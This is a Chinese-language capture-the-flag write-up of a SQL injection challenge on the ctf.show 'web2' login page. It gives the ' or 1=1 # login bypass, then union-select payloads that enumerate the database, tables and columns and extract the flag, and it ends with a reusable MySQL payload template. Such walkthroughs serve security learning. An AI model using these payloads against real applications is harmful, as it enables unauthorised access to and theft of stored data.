ctf.show web2 最简单的SQL注入
ctf.show web2 最简单的SQL注入
1、一开始的页面
随便输入用户名和密码看它怎么反应
没报错,只是清空了用户名和密码
题目提示是sql注入,那就用burpsuit抓个包,发送到repeater
点击go
既然是登录的页面,那就用万能密码 ’ or 1=1 #,出现欢迎您,ctfshow,说明登录成功,这里得说明一下username=admin’ or 1=1 #password=123这条语句,#号是注释符,所以后面的语句是被注释掉的,所以剩下username=admin’ or 1=1,or是只要满足一个条件就可以,1=1永远是满足的
那现在就判断有多少字段,’ or 1=1 union select 1,2,3 #,出现欢迎你,说明有三个字段
现在要做顺序就是爆库,爆表,爆字段,爆值
爆库
username=admin’ or 1=1 union select 1,database(),3 #$password=123
爆表
username=admin’ or 1=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=“web2”#&password=123
爆字段
username=admin’ or 1=1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=“flag”#&password=123
爆值
username=admin’ or 1=1 union select 1,flag,3 from flag#&password=123
flag{c4728289-7cd0-43c6-8b2f-f1f4a98a4e97}
这里我总结一下,因为这里的数据库为mysql,爆库、爆表、爆字段、爆值都是那几条语句爆库:
union select 1,2,3,database(); # //这里得看有多少字段
爆表:
union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database(); #
爆字段:
union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="表名"; #
爆值:
union select 1,2,3,字段 from 表名; #